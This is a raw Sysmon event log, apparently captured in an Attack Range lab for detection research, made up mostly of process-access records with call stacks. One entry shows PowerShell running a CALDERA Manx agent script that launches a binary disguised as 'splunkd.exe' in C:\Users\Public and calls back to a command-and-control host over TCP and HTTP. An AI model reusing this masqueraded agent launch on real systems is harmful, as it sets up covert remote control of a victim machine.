09:09:28.012{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BD-5F80-0B00-000000007F01}868C:\Windows\system32\lsass.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001137Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.997{A5F018FF-28C4-5F80-2600-000000007F01}30283048C:\Windows\system32\conhost.exe{A5F018FF-28C4-5F80-2500-000000007F01}3020C:\Users\Public\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001136Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.981{A5F018FF-28BC-5F80-0500-000000007F01}644660C:\Windows\system32\csrss.exe{A5F018FF-28C4-5F80-2600-000000007F01}3028C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001135Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.981{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28C4-5F80-2500-000000007F01}3020C:\Users\Public\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000001134Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.981{A5F018FF-28BF-5F80-1900-000000007F01}21442780osoft.PowerShell.ComWindowsPowerShell\v1.0\powershell.exe{A5F018FF-28C4-5F80-2500-000000007F01}3020C:\Users\Public\splunkd.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\System32\windows.storage.dll+13752f|C:\Windows\System32\windows.storage.dll+1371a5|C:\Windows\System32\windows.storage.dll+136c96|C:\Windows\System32\windows.storage.dll+138108|C:\Windows\System32\windows.storage.dll+136abe|C:\Windows\System32\windows.storage.dll+10a3b5|C:\Windows\System32\windows.storage.dll+10a734|C:\Windows\System32\windows.storage.dll+109d70|C:\Windows\System32\shell32.dll+e8b0f|C:\Windows\System32\shell32.dll+e899c|C:\Windows\System32\shell32.dll+e86ec|C:\Windows\System32\shell32.dll+31537|C:\Windows\System32\shell32.dll+31495|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+33903a|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+276811|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+acd828|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+271e5f|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\78b8fb2c58a4cdcc3a44547b9bbd80b9\System.ni.dll+2b56bc|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64)|C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.Pae3498d9#\68e2ec0464aa44f07e8a86705ee0d5c8\Microsoft.PowerShell.Commands.Management.ni.dll+35ffe9(wow64) 154100x80000000000000001133Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.932{A5F018FF-28C4-5F80-2500-000000007F01}3020C:\Users\Public\splunkd.exe-----"C:\Users\Public\splunkd.exe" -socket 10.0.1.12:7010 -http http://10.0.1.12:8888 -contact tcp C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=32E2535A13E90442893737530C4773D1,SHA256=C4A32E14644C0859C895A66C96AECC9647949F8295EADE40ACE7F3EFC597C6F9,IMPHASH=1CD364A9E949D5ECEBD6C614E64BC545{A5F018FF-28BF-5F80-1900-000000007F01}2144C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Unrestricted -NonInteractive -File C:\caldera_manx_agent.ps1 10341000x80000000000000001132Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.825{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001131Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.825{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001130Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.825{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001129Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001128Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001127Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001126Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001125Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001124Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001123Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001122Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001121Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001120Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001119Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001118Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.809{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001117Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.794{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001116Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.794{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001115Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.794{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28C2-5F80-2200-000000007F01}2800C:\Windows\system32\wbem\wmiprvse.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001114Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:24.794{A5F018FF-28C4-5F80-2400-000000007F01}29883008C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe{A5F018FF-28C4-5F80-2300-000000007F01}2948C:\Windows\servicing\TrustedInstaller.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\winsxs\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.3926_none_7ec739a4221e2b99\TiWorker.exe+3611|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+7d09|C:\Windows\System32\combase.dll+22b9|C:\Windows\System32\RPCRT4.dll+b42b|C:\Windows\System32\combase.dll+53b8c|C:\Windows\System32\combase.dll+53842|C:\Windows\System32\combase.dll+51968|C:\Windows\System32\combase.dll+4fedd|C:\Windows\System32\combase.dll+4f5bf|C:\Windows\System32\combase.dll+6da09|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5982e|C:\Windows\System32\RPCRT4.dll+39257|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029 10341000x80000000000000001113Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 